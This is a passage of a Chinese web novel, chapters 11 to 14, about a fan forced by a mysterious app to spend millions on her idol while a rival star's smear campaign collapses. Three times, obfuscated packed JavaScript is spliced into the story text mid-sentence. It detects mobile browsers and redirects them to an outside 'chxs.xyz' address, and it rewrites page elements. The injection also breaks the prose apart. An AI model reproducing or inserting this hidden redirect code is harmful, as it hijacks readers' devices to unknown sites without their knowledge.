都说有人的地方就有江湖，而在工作中就更是如此，越是业务有交集，就越是容易产生矛盾。 理念不同，处事不同，三观也不同，再加上这两位虽然算不上大富大贵，家里却都有些背景。她们看不上凌钰的穷酸样，又恨凌钰总是能顺利完成领导安排的任务，有几回为了年底的优秀，双方没少打对台。 凌钰当时输多胜少。 唯有一年，因为她的业绩实在高到离谱，主管都糊弄不过去，给了她一个优秀，还被对方两人偷偷造谣了很久。 可惜她背后没人，有时就算被区别对待也少不得忍气吞声。 越忍气吞声，对方越变本加厉。 从前她为了保住工作，即使这两人当面蛐蛐也只当听不见，可现在，她都被辞退了，还能忍？ 凌钰先找了个地方稳住身子，视线在两人的脸上流连片刻，才忽然笑起来：“我的确找了个更好的工作，赚得多，时间自由，还不用天天被上司摧残——” 这她可没撒谎，1:1返现赚得多，任务随时发布时间自由，也没有上司，因为系统只管完成度，却不会要你做总结报告，写工作计划，不会要你做日报月报年报ppt，更不会指着鼻子对你进行人身攻击。 当然，完不成任务会死这种事，就不必让别人知道了。 凌钰笑得灿烂：“总之比你俩越来越秃头要强，你自己看看，你们头上还剩几根毛。至于偶像的事，你俩还来嘲笑我？” 看着对面的人略显僵硬的身型，她嗤笑一声：“林业的确不是个东西，他违法犯罪，被抓起来牢底坐穿都是活该，不过这私联粉丝嘛，他还真没做过。” “要做，那也是你俩的偶像沈云峰做的啊。” 这两位当初和自己意见分歧大，一方面固然是本身就不对付，另一方面，也的确是对家。 凌钰可没忘了，那时她俩为了支持沈云峰，连续好几天在朋友圈辱骂林业，不仅辱骂林业，甚至还连带着特意私信来骂过她。虽然这些都已经过去了，她也并不乐意再计较，可对方非要来自讨没趣，那怪谁？ 两人的脸色都格外难看，话被堵死，过了好久，其中一位才恨恨说道：“少把沈云峰的粉籍按在我们头上，我们早就不粉他了，他的事跟我们有什么关系？” 另一位则赞同道：“就是，你以为我们都跟你一样几年追着一个人，眼光还这么差？那沈云峰我们早就发现不对劲了，我们现在是恒星好吧。” 什么？ 话音落下的一瞬间，凌钰差点没笑出声。 这个恒星，不会是赵恒的那个恒星吧？就这么巧的吗？换了正主，大家还是对家。 脑子里正翻腾着这复杂的关系，对面两人已经相视一笑，阴阳怪气道：“刚好今天也去国贸，我们倒要看看，你现在究竟混成了什么样。” 凌钰十分干脆地给了她们一个白眼。 虽说她住的地方离市区有些远，但坐地铁也不过十来分钟就到了。一路往国贸的方向走，身后那两人还真寸步不离地跟着，也不知是原本的目的地就在那里，还是非得一探究竟，想确认一下她其实过得一点都不好—— 总之一直到进了大丰料理的门，她后面的尾巴才终于消失。 这顿饭又是海鲜为主，凌钰提前点好了一份三人套餐，等孙致容带着她老公周哥赶来时，眼睛都亮了，确认了好几遍自己这个好闺蜜真能付的起钱，两人才肯动筷子。 包间里空调开得足，孙致容一张喜庆的圆脸变得红彤彤的：“真是人间美味，除了贵没有任何缺点。” 她满足地摸了摸自己的肚子：“不过话说回来，你怎么突然赚这么多？那天那个海鲜，吃得我们一家心惊胆战，我爸还担心是我们拿错了外卖，生怕到时候会有人找上门来要赔偿。” 凌钰也已经吃饱喝足，有些懒散地靠着，半天才开口：“就是风险投资吧，具体我也说不清楚。” 孙致容却明显担心起来：“你，这是正经工作吧？违法犯罪的事咱可不能干。” “你怕我搞的也是林业的那种敛财基金？”凌钰笑起来，“怎么可能？我自己就是受害者，怎么可能再去干这种缺德事？放心，我保证是个遵纪守法的好公民。” 但这工作究竟正不正经…… 毕竟是最要好的朋友，凌钰没再向面对刚刚那两位前同事一样信口开河，既然不好说，那就干脆不说。 孙致容也没有再多问，只是跟着乐，正要再聊聊关于她的新“正主”，旁边插不上话一直在刷手机的周哥忽然带着疑惑抬起头：“诶？之前听致容说你现在喜欢的那个人，是不是就叫什么聂嘉远？” 这话问的有点奇怪，凌钰点点头“啊”了一声：“怎么了吗？” “真是聂嘉远啊，你这看人的眼光……”周哥满脸纠结，抬手指了指她放在桌上的手机：“那你要不要看看微博，你那个聂嘉远，好像又塌房了。” 什么！ 怎么可能？！ 天打雷劈，五雷轰顶，不过如此。 几乎是一瞬间，凌钰的心跳急剧加速，她连忙打开手机去看，耳边周哥的絮叨渐渐变得模糊：“我刚看微博上好像闹起来了，说前几天聂嘉远的事是他自导自演，赵恒才是真正的受害者……” 手上不停，不知是太过紧张，还是真的大限将至，那种逼仄而窒息的感觉再次席卷而来，凌钰点进微博热搜，果然看到最上方有好几条爆了的词条。 #聂嘉远自导自演# #赵恒被职场霸凌# #聂嘉远塌房# 最下方有一条更是每过一段时间就要冒出来一下：#内娱完了#。 广场上五花八门，说什么的都有，但极度紧张的凌钰看着看着，却反倒慢慢冷静了下来。 不对，不可能。 如果聂嘉远真的塌房了，反应最快的应该是她手机上的【识人】app，更快的则该是她的银行卡。现在提示她寿命减少的消息没出来，扣款短信也没收到，那至少证明，在此时此刻，这件事还没有被真正证实。 大批的营销号集体下场，发的内容大同小异。 基本都是几张微信聊天截图，对话内容不算多，但信息却相当丰富。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932145|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “三百万，我帮你搞定那个姓赵的。” “怎么搞？” “买点水军装粉，只要泄露一下的你的私人信息，打几个骚扰电话，再发个录音到网上，你们就可以让人逼着姓赵的道歉，你再适时发微博报警，到时候他不完也完了。” “这样会不会太冒险？” “你怕什么？钱给够，其他不用你管。” 这是第一张截图，第二张截图的内容则是—— “事情办完了，钱呢？” “姓聂的，这时候装死不好吧？” “老子可是提前帮你垫了钱的，你再不给钱，可别怪我到网上曝光你！” “说话！” 对方一直没有再回复，直到这最后一条，才终于有了反应，但却是：“消息已发出，但被对方拒收了。” 评论区的前排几乎都已经被恒星占领，除了替自家叫屈，还顺便宣传了一番赵恒的新商务，他代言的牙膏刚好今天开售，粉丝们自觉占了正道扬眉吐气的同时，誓要将他的商业价值也拉到最高。 家园们明显被打了个措手不及。 别说那些本来就佛系追星，连微博都从来不看的，就是凌钰，要不是周哥刚好看到发现不对，她也恐怕还在忙着和孙致容聊八卦，哪里会知道自家的房子居然又塌了！ 出于保命的本能，她几乎第一反应就是要去发脱粉声明。 不是她不够坚定，实在是林业前车之鉴就在眼前。 她曾经最信任的人，反手给了她一个惊天大巴掌。 所以很多时候，艺人们让你看到的未必就是真的，看似真诚的也许虚情假意，看似耿直的说不定有八百个心眼，看似正直的可能在背后鸡鸣狗盗，看似无辜的，未必就不是幕后黑手。 即便那截图没头没尾，也无法证明双方真正的身份，可现在的凌钰，实在赌不起了。 她点进了聂嘉远的超话主页。 后援会回答的那句“放心”还历历在目，熟悉的页面里，今天明显乱了起来。 人心惶惶，连续几天的签到让她居然也已经渐渐习惯，现在贸然就要脱粉，不知为何，她的心中竟也生出了些难得的不舍。 认识的家园们很可爱，同担们也不作妖，这在粉圈就已经很不容易了。 可惜比起这一切，她更要好好地活着…… 算了，不就是追星吗？这个不行，那就赶紧换下一个，娱乐圈那么大，人那么多，总会找到一个更好的。凌钰在心里安慰完自己，抬手就要去编辑文案。 然而下一瞬，页面刷新，聂嘉远的工作室忽然发了一条微博。 【@聂嘉远工作室：互联网并非法外之地，我司将坚决使用法律武器维护艺人合法权益！】 下方配了六张图。 前面两张，分别是营销号们发的截图，上面写了大大的“假”字，后面四张，全部都是对造谣账号的起诉公告。 很快，聂嘉远也上线转发了这条微博并配文。 【@聂嘉远：没做过就是没做过，假的永远不会变成真的。还有，熟悉我的朋友都知道，我不用微信，根本没有微信账号。[笑脸]】 12.第 12 章 午后的阳光灿烂。 天气虽然渐渐变冷，但此刻的摄影棚内却温暖如春。 聂嘉远一袭黑色长款风衣，内搭同色衬衫，裁剪立体，质感极佳。银色的项链自胸口上方垂下，称得他整个人严肃中又带了几分年轻人特有的活力，领口处的纽扣微微敞开，形成黑与白极致的对比。 周围乱糟糟的，他把最新的那条微博发完，并没有时间再去管后续，就又被叫了回去。 这是之前就已经签好的合约，今天要拍一组时尚杂志作为开年刊的封面。 作为演员，他在镜头语言这方面的表现力还算可以，拍摄进度也很顺利，如果不是网上突然出现谣言要处理，这个行程早就该结束了。 跟着的助理忙得焦头烂额，手机上的电话接个没停，脸色也不是太好。倒是杂志主编上前拍了拍他的肩膀：“没关系，这不是什么大事，你也别有压力，其他的不说，至少你根本不用微信这一点，我就比别人都要清楚。” 主编和聂嘉远大学的艺术系老师是朋友，早就知道眼前这位看似年轻时尚，实则却很有点老干部作风。 他确实不用微信，别说微信号，这人就连微信的app都没下载过。想要找他，要么得联系他的助理，要么得直接打电话，实在不行也可以加他□□，但信息发过去他回不回就不好说了。 但娱乐圈的纷争就是如此，有时候这就是人红了的代价。 说白了，圈里的资源仿佛一块既定份量的大饼，你吃掉的多了，别人能分到的就是少了，谁都想吃饱，谁都不想挨饿。为了这有限的资源，人的嘴脸往往很难想象。 主编笑着朝他摆手道：“好好拍，我看好你，争取打个翻身仗。” 聂嘉远沉默着往前，点头应了一声：“好。” 几乎是与此同时，坐在大丰料理店里的凌钰手机忽然疯狂震动起来。 【识人】app的弹窗就跟中毒了似的，连续跳出了一连串的重复提示。 最新任务：本次解锁资金3000000元，请于1小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 伴随着层层叠叠的推送提示，手机屏幕最上方的红色倒计时开始闪烁。 00:59:59 00:59:58 …… 不是，凌钰瞬间原地起跳，多少？ 她拿近手机，挤着眉头眯着眼睛指着“3”后面的“0”数了又数，终于确定自己没看错。 三百万，一个小时！ 她怎么买怎么花钱怎么送出去啊？这是在开什么国际玩笑！ 对面的孙致容和周哥都被她这过分激烈的反应给吓了一跳，连忙问：“怎么了怎么了？你没事吧？” 周哥更是瞪着眼睛：“不至于，就算这人塌房了也不是什么大事，明星毕竟离咱们生活很远的，不管怎么样，过好自己的日子才是重点。你要是真伤心，回头让致容多陪陪你，你可千万不能因为这事想不开啊！” “啊，不是，”凌钰却摆了摆手，“我是有点急事要办。” “什么事这么急啊？” “花钱。” 凌钰说着，又坐回座位，连忙去翻超话置顶。 三百万，如果还用来买咖啡和洗发水显然是不现实的。 就算勉强能买，可到了现在这个时候，家园们自己买的代言都快用不完了，要再把这两样东西抽奖送同担，一定会有很多人放弃名额，届时大家推来推去，她的任务想在一个小时之内完成，难。 那怎么办？ 凌钰脑子里乱糟糟的，不断提取筛选有用信息。最近的商务除了咖啡和洗发水，剩下的两个只需要做网络数据，根本不需要花钱，另外的—— 如果她没记错，聂嘉远好像有个杂志快要预售了，是哪天来着？ 当时她曾看过后援会发的宣传，因为是顶刊的开年刊，杂志份量很重，后援会还难得强调了一下开售限时不限量，让大家尽量秒切多买。为了不耽误事，凌钰特意提前加购了几十套，定了个闹钟。 翻出两个日期对比之后，她终于松了一口气。 现在是下午两点十分，杂志两点半开售。 她还有二十分钟可以用来准备，剩下的三十分钟选择用来抽奖或者其他，反正得尽快把这个活儿给干完。 眼看着凌钰一直低着头在手机上戳戳点点，对面的孙致容和周哥越来越看不懂了，面面相觑道：“你这是干嘛呢？什么钱这么急着花？” 虽然粉林业的时候凌钰也没少买杂志，但那时对方的起点不高，还真没什么机会拍这种顶刊，就算杂志开售，也一般在淘宝直接买就行，这回按照要求点进相关小程序，操作却略有些复杂。 凌钰边疯狂加购杂志边回答：“要命的钱啊。” 超话里，一部分人还在说赵恒的事，但更多的人则已经开始发帖。 【别再给那帮恒星眼神了，现在最重要的是杂志，这个关系到聂嘉远后续的时尚资源，以后每年都会有人拉出表格来对比。他的咖位到了什么位置，一张表很容易就能看出来。】 【赵恒那边估计是想用我们虐粉让他的恒星们氪金，他今天牙膏开售，到现在销量都还不太行。】 【反正我只信聂嘉远，放心，已经加购。】 【到了这个时候，不买的还好意思说自己是家园？】 一本杂志分AB两版，定价并不高，一种是单本，每本30，一种是套组，每套60，都不含运费。这样一来，就算是最普通的学生党也能买个一两本支持。 凌钰却有点发愁。 刚刚有个帖子说得很对，粉黑大战闹到现在这个地步，但凡是还愿意留下来的，真心喜欢的，哪个家园会连一本杂志都不愿意买？即便不冲销量，也至少会自留一本收藏。 就算真有那种想要却实在没钱的，她花三百万买套组，可不是多出来一套两套的问题，扣掉运费怎么也得买四万多套，怎么可能送得完？ 凌钰皱着眉，越看越觉得靠抽奖可能不太靠谱。重新去翻后援会的帖子，幸好，就在三分钟之前，对方更新了一条仓库地址，如有粉丝买的多而自己并不需要，可以直接寄到她们租的仓库，后续由她们组织全国投放。 假设这个方法系统能认可——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949353|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>凌钰返回【识人】app，点击咨询：“请问，杂志直接寄给后援会仓库，算是送给了同担吗？杂志售价不包含运费，那这个运费加上去的话算是为正主花的钱吗？算在解锁金额内吗？” 对面秒回道：“宿主您好，检测到相关关键词，系统得出以下判断——” “算。” 那就好。 凌钰一顿操作猛如虎，对面的孙致容已经好奇得直挠头：“你拿着你那破手机究竟在忙什么呢？快说给我们听听！” “等一下啊。” 凌钰却没时间跟她细说，尤其是想到一会儿付款还要用【识人】的人脸识别，而随着倒计时临近，她的身体状态也会有些变化，大庭广众之下，又是在孙致容面前，被看到总归是不太方便，对方也必然会担心。 她索性站起身来，简单交代：“我要买个聂嘉远的杂志，这边网不太好，我先出去一下，等我回来再说啊。” “诶！”孙致容没能喊住人，看着凌钰行色匆匆的背影，一张圆脸都变成了苦瓜，看向身边的周哥问，“她真不是受刺激了？都塌房了为什么还要买杂志啊？话说，聂嘉远真的塌房了？不至于啊，我来看看！” 凌钰也并没有去太远的地方。 大丰的门店临街，她索性出去找了一个无人的角落坐下。 时间过去得很快，等确认好全部购买数量，又改好收货地址，再私信给后援会说了一下要寄到仓库的杂志数量，开售时间已经快到了。 屏幕上的倒计时逐渐放大，凌钰的呼吸也变得急促，周围的氧气似乎变得稀薄，脑子里也开始混混沌沌。意识完全无法集中的这一刻，她却非常有幽默精神地自嘲起来，明明生死一线，可如今的她居然有了一种熟能生巧的感觉。 正准备进入小程序再刷新看看，一道熟悉的声音再次在身后响起。 “哟，凌大小姐这是怎么了？不会是没钱吃饭被人家赶出来了吧？” 正是之前在地铁遇到的那两位。 这次是高个子的陈桦先开了口，一旁的张小洁脸上也带着笑，见凌钰抬头，顿时接话道：“就是啊，刚才来的时候看你进了大丰，还以为你真有钱了呢，现在怎么回事，帮人家看门呢？” 心率不稳，由此而产生的慌乱和窒息感越来越强烈，凌钰平日里还能稍稍控制一下的情绪也逐渐变得暴躁，再加上是面对这两人，她再无收敛，嗤笑一声：“关你屁事。” “你这人怎么说话呢！”陈桦的脾气暴，立刻就要往她跟前冲。 幸好张小洁还有点理智，连忙将人拉住，但却也变了脸色：“凌钰，给你脸了是吧？一个被公司辞退的土包子，就你这样的出生和家庭，没了工作还想在这儿待着，我看你是疯了吧，听没听过一句话叫死要面子活受罪？” 凌钰面无表情地抬起双眸，依然回了她四个字：“关你屁事。” “你！”陈桦绷不住，不由拔高了嗓门，“你居然敢这么跟我说话，这些年我对你客气了是吧？我有时候都觉得疑惑，你究竟知不知道我爸是谁！” 话音落下，这回凌钰总算停了片刻，但很快却再一次勾起了唇角。 “关我屁事。” 13.第 13 章 眼看着陈桦和张小洁硬生生被气成了河豚，凌钰的视线转而落回手机界面。 此时此刻，屏幕最上方的倒计时按秒计算，已即将过半，而正中央的时间则缓缓流逝，一分钟一分钟地过去。 下午两点二十八分。 陈桦的声音都变了调：“乡下土包子，还真的是一点儿教养都没有！我告诉你，别以为你离了公司就可以天不怕地不怕，我知道你的专业，你总还要在咱们这个圈子里混的，得罪了我，你别想再找到好工作！” 两点二十九分。 “就是，同事一场，你这是故意找不痛快是吧？”张小洁在旁边帮腔，又拉了陈桦一把，“她脑子指不定有什么问题，咱们跟个土包子说不清楚，总归这事咱们记着了，回头走着瞧。” 凌钰强忍着身体的不适，忙里偷闲看了她一眼：“滚。” 两点半。 早已设定的闹钟瞬间响起，凌钰完全屏蔽了对面两人的声音，毫不犹豫地刷新页面，点击购买，付款，刷脸，支付成功。 还在闪烁的倒计时关闭，身体所有的不适也随之彻底消散。 轻快而放松的感觉重新袭来，一切因死亡逼近而产生的烦躁和暴戾也被抛到了九霄云外，凌钰终于缓缓站起身来。 她的身量其实并不高，比陈桦矮了整整一个头，但不知为何，明明是居高临下的姿态，陈桦却忽然有种说不上来的压迫感。 眼前这个人看着和从前在公司时并没什么两样，可无论是气势、神色还是对她们的态度，却都发生了翻天覆地的变化。那时她虽然也总不服输，却始终是克制的，不像此刻。 明明是个连工作都没了的外乡人，却居然满脸鄙夷，仿佛看不上她们！ 正要开口，却见从刚才就惜字如金的凌钰上下打量了她一番：“还不走？我现在要进去吃饭了，怎么，你们也要跟进来吗？不过话说在前面，我可不会请客。” 陈桦的脸上表情复杂，但更多的却是不信。 她扬了扬眉头，阴阳怪气道：“这是又想当着我们的面进去，过会儿再偷偷溜出来？有意思吗？刚才摸了半天的手机，不会是找人问该怎么装吧？也不撒泡尿自己照照。” 张小洁也捂住了嘴笑：“你浑身上下加起来，价值过千了吗？大丰这家料理我们虽然不常来，可也是吃过的，一顿少说也要四五千，你有工作的时候都吃不起，现在工作丢了，怎么，你卖身了？” “诶呀？”陈桦一听这话，倒是来了劲，“对啊！刚刚我就看你拿个手机在那自拍，不会就是给金主发照片装可怜的吧？我倒要看看！” 她说着，人已经两步走到了跟前，一把将凌钰握在手中的手机抢了过去。 事发突然，双方都有些愣怔，陈桦是没想到自己会抢得这么顺利，凌钰则是怎么都没想到这人会有这么过激的行为，好在她习惯性锁屏，对方摁了两下都只能看到她原始屏幕上的时间和日期。 凌钰的脸彻底冷了下来：“当街抢手机，真亏你做得出来，你要让我报警吗？这边可到处都是监控。” “我抢你手机？”陈桦冲动之下本来也有些心虚，一听这话却不由嗤笑出声，“你这破手机用了几年了，值个十块八块的吗，也配让人抢？别怪咱们说话难听，你自己看看你是不是一副穷酸……” 正说着，凌钰的手机忽然震动了一下。 陈桦下意识去看，一条银行的短信跳了出来，她以为是什么催款短信，本能大声读道：“阿哟，欠钱了啊！您尾号3200账户转入人民币三……” 她的语气从疑惑到震惊，嗓门越来越大，声音也越来越响，最后几乎成了怒吼：“个，十，百，千，万，十万，百万！三百万！凌钰！谁啊，居然给你打了三百万！” “什么三百万？！” 两个不同的声音同时响起。 是一旁的张小洁和急匆匆赶出来，担心凌钰出了什么事的孙致容。 凌钰扭过头去，只见两人一个面色惊悚完全不敢置信，一个满脸忧愁恨铁不成钢。 张小洁平时装模作样的夹子音都没了，爆出一句粗口，几乎如铜锣般嚷嚷道：“你，就凭你，也值三百万？谁啊，眼睛瞎了吗？” “凌钰！”孙致容嗓门比她俩还大，“你不是说要出来买什么杂志的吗？什么三百万，你别说你买个破杂志花了三百万！之前那个林业就够费钱了，你，你糊涂啊你，三百万都能在郊区买套小房子了！你给我看看，究竟什么情况！” “不是啊。”面对两个外人凌钰毫不畏惧，到了孙致容这她却不由有些气短。 其实的确花了三百万，但那不是系统的资金么，也不是她的。 脑子里飞速跳出这个念头，凌钰又有了底气：“你听清她说的啊，这是我的收入，三百万，我手机被她抢了，不信你自己看银行的短信。” “收入？”孙致容愣了一下，松了口气，“哦，只要不是花了三百万就……” 一个“好”字没说出口，她又愣住，一把从陈桦手中抢回了凌钰的手机，边拉着她往回走，边走边压低了声音问：“我的妈，你一个月工资三百万？快快快，我们进去说，跟那俩白痴废什么话。” 凌钰支支吾吾地：“其实，也不是一个月工资吧，一个月的话可能不止……” 两人渐行渐远，很快进了大丰的店门。 陈桦和张小洁呆呆地看着，直到她们的身影彻底消失才对视一眼：“工资？” “不可能吧？虽然她在公司能力确实还不错，可就算跳槽也不可能一个月工资三百万，她甚至还说不止。我不信！我现在就打电话让人去查，看看她究竟什么情况，她值三百万……怎么可能！” “我也不信。可话说回来，就她那德性，有人会愿意做她金主吗？还有啊，刚才她那个朋友说她买什么杂志……今天不是只有聂嘉远的杂志在预售吗？” ……聂嘉远？ 陈桦愣在当场，半天无话可说。 重新在饭店里坐下，凌钰跟孙致容解释了半天，才好不容易让她相信自己做的确实是正经工作，这三百万的收入也真的不是什么非法所得。 她不好点破【识人】app，只说自己现在在给一个神秘部门打工，旨在弘扬社会正能量，打造一个风清气正的娱乐圈。 虽然说得有些含糊，但孙致容却懂了：“既然是什么部门不能说，咱也不问了，反正意思我明白，就相当于娱乐圈纪委呗——谁能想到啊，你这居然干到文艺圈里面去了。” “可惜这单位赚钱是赚钱，风险却不小。咱们内娱这帮人啊，太容易塌房了，真真假假谁都没法保证。你这钱到了手上都不保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955288|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险，不好，不好。” 她砸了砸嘴，拍拍自己的口袋：“我还是喜欢更稳妥一点，到手了就是我的。这风险投资，看来还是只有你能干。” * 下午三点半，聂嘉远后援会发布了杂志最新销售额。 秒切金额三百七十万，60分钟就达到了惊人的两千五百万，虽然后续涨幅不会再像最开始那么快，但这也已经是一个很出众的数字了。 在此之前，内娱顶流墨之染的杂志24小时最高销售额也不过三千万，且已经数年无人打破这个记录。家园们兴奋不已，仍在不停加购，别说是后援会，就连杂志官方都发了喜报。 聂嘉远的圈内好友们纷纷购买支持，除了《凤凰记》的女主，之前合作的几部戏中的演员也买了不少。 在这样暴风骤雨的时刻，在营销号铺天盖地的黑帖中，虽然只是买杂志，并没有多说别的什么，但已经无异于雪中送炭表明了态度。 家园们感谢感恩，恒星们则破口大骂。 【原来又是为了催氪！难怪突然冒出来装可怜，连不用微信这种假话都说得出来，真是疯了。一天到晚吸血我家赵恒，聂嘉远家里是没人了吗？还有那帮买他杂志的，呵呵。】 【放心，截至目前我知道的一共十二个，每个我都记在备忘录了，明明知道聂嘉远把我家赵恒害成了什么样，自导自演的丑男，居然还去支持他。我将一生黑。[微笑]】 【这不就是联合圈子里的人一起对赵恒的霸凌吗？还有那个秒切三百七十万，怎么可能啊？我刚才特意去看了她们秒切的晒单了，满打满算加起来几十万吧，哪来的三百多万？这里面有多少虚假数字？】 【当初顶流秒切都没这么多，他家是造假造疯了吗？】 【怎么回事啊？墨家那位顶流现在不能打了吗？都被人骑到头上了也没个反应，再这样下去，你家的三千万岂不是都要被超过了？】 【仗着墨之染现在不太露面，聂嘉远家就开始发疯了呗。真是老虎不在家，猴子称大王，别的不说，先把秒切三百多万的证据拿出来啊！】 凌钰一直忙着跟孙致容聊天，这会儿好不容易才有空又看了一眼微博，就见#聂嘉远杂志销量#和#聂嘉远杂志秒切370w#同时挂在热搜，而广场上除了家园们的晒单，几乎全都是恒星们的质问。 她这才想起来，她的秒切单一直没晒。 默默点进超话发帖，依然是固定格式，截图打码，凌钰编辑完毕之后发送。 【#聂嘉远杂志销量#njy#聂嘉远杂志秒切370w# 在外面吃饭，买完之后忘了发出来了，既然你们这么想看为什么能有三百多万的秒切，那就发出来给你们看下啊。不谢。 这次买得多，就不抽奖了，杂志已经全部寄到了后援会指定的仓库，大家有需要的话也可以等她们后续投放时咨询。 @聂嘉远@聂嘉远官方后援会】 下方配图，正是秒切的那三百万杂志。 恒星们怎么都没想到，对方居然真有粉丝会这么花钱。这人一个人买的，比那几个明星加起来支持的都还要多了！ 有人破防到激情辱骂，有人仍然质疑真假，双方吵得不可开交。但很快，一条爆料贴突然冒了出来—— #赵恒视频#直冲热搜榜首。 14.第 14 章 视频非常清晰，和以往那些不明不白的录音，让人猜测难辨的聊天记录不同，这明显是摄像头录下来的画面。 看上去应该是在某个人家的客厅。 赵恒穿着一件家常的白色卫衣靠坐在沙发上，脸色极其难看地一直在刷手机，也不知是看到了什么，忽然站起身来：“你挺厉害啊，这就是你想出来的好办法？” 手机被他随手丢到了一边，赵恒一步步往前：“你知道李总要的是什么结果，可你现在在干什么？被聂嘉远提告的营销号，只要稍微查一查就能查到跟李总那边的关联。那么多的资源给你用，你就用成了现在这样？” 画面里，还有个人离得稍微有些远，没吭声。 另一个人则小声解释道：“其实这事也不能全怪我们，谁能知道聂嘉远这么大个人居然不用微信？现在都什么年代了，他但凡不是个野人也不至于这样，你说就算是你，能猜到他会这么老干部……” “我猜？”赵恒忽然面露狰狞，抄起桌上摆着的水壶劈头盖脸就向说话的人砸了下去。 “如果都他妈的要我猜，还要你们这些蠢货干什么！” 水壶落地，发出巨响。 被打的那人又疼又烫，一边不停拍打着身上的水，一边惊叫道：“赵恒！你疯了！你又动手？之前已经跟你说过让你收敛收敛脾气，就连李总都已经提醒过你好几回，你即便不听我们的，不至于连李总的话也当耳旁风吧！” 赵恒却明显怒气上涌：“你算什么东西，也配用李总来压我？” “让我收敛脾气，那你倒是干点人事啊！你不干人事，到最后却还来指责我，这他妈真是什么世道！” 他气急败坏地指着对方的鼻子：“蠢货！没脑子的东西，你还有脸站在这？你妈生你的时候知道你是这么没脑子的蠢货吗？他都不用微信，你却让人编个微信截图！” 被砸的那人沉默了片刻，到底还是开口道：“恒哥，你冷静一点。谁也没想到他会不用微信，你跟他一起录了那么多次综艺，你也不知道啊！说到底我们跟他那边是真不熟。” “再说，事情也没有到不可挽回的地步，之前的那帮粉丝是自己脑子不好，其实跟咱们无关，这次他就算告，告的也是几个营销号而已……” “而已？” 赵恒气得面容都变得有些扭曲，如同一头愤怒的狮子般原地转了好几圈，终于找到了更加趁手的武器，举起旁边摆着的椅子再次往人身上砸去：“这话你敢跟李总去说吗蠢货？” “就你这样没智商的畜牲，居然也配当老子的经纪人，几年了我还在三线里面混，你当李总的钱都是大风刮来的？要不是王总在李总面前打包票，你他妈早就该卷铺盖滚蛋了！” “你还敢躲？”赵恒一连串的脏话出口，越骂越来劲，越打越用力，旁边一直站着的人眼看闹得不像，几次想要劝，都被他狠狠推开。 在大众面前永远一副乖巧模样的他，这一刻简直如同恶魔：“你再拦，老子找十个男人来一块儿伺候你！” 画面到此处戛然而止。 但里面的信息也已经足够令人震惊。 就连凌钰也有些呆住：“这是什么情况？赵恒疯了，还是他本来就这样？” 她的确不喜欢赵恒，觉得这人看上去有点虚伪，可也没料到他私下和荧幕里表现出来的差别竟然这么大。 那这演技不是挺好的吗？ 这骂人打人的狠劲儿，比好多出彩的演员都厉害，怎么真正演戏的时候却不行呢？ “不知道，”孙致容摇了摇头，“不过视频应该是真的，这一看就是谁家装在客厅里的摄像头，我同事家养猫，也装了一个这样的。我怀疑爆料人不是他那个经纪人，就是旁边被骂说要什么十个男人的那位。” 她们说了两句话的工夫，网上已经彻底乱了套。 虽然仍有不少恒星坚信自家正主是被害了，说所有一切都是那个经纪人的主意，但这视频里的赵恒实在人设崩塌，即便假造微信聊天的事与他无关，他打人骂人侮辱人，也已经板上钉钉。 几乎瞬间，所有的关注度都被赵恒吸引。凌钰刷新了一下热搜，立刻看到好几个爆掉的词条。 #赵恒打人# #赵恒十个男人# #赵恒演技# #聂嘉远无辜# 很快，又一个词条爬了上来：#赵恒经纪人回应#—— 正是视频中被打成猪头的那位，画面出现时，他的脸上还带着伤，因此显得更加有信服力。 “大家好，我是赵恒的前经纪人，从这个视频发出来的一刻，我已经离职不干了。虽然今天爆出来的这段监控并不是我让人放出来的，但我可以证明，当时发生的一切确实都是真的。” “我被赵恒骂了，打了，其实后面还有骂得更难听的，但都不重要了。当了赵恒五年的经纪人，太累了。” “公司给他的定位高，资源好，可惜他脾气暴躁，性格狂妄，虽然一心想红，但偏偏又没那个机遇没那个能力。我承认，一开始我也有过雄心壮志，但现在我也认清了，和你一样，我也没这个机遇没这个能力。” “赵恒，我的恒哥。三年前，看着聂嘉远即将大爆，公司不惜拉他做了你的对家，利用了人家三年，到头来还是输了。为什么？” “因为人家的销量实实在在，你的数据里才都是水，自己看看后台吧，但凡还有点自知之明，你也不至于非要让我们在现在又和人家对上。是，那微信聊天记录是我让人造假，可那也是被你逼的！” “内娱圈子乱成这样，你们和我都有不可推卸的责任。” “从今往后，我将退出这个行业，离开所在城市。赵恒，别来找我，否则我但凡出了什么问题，必然跟你还有你背后的人有关。法治社会，我劝你三思。” 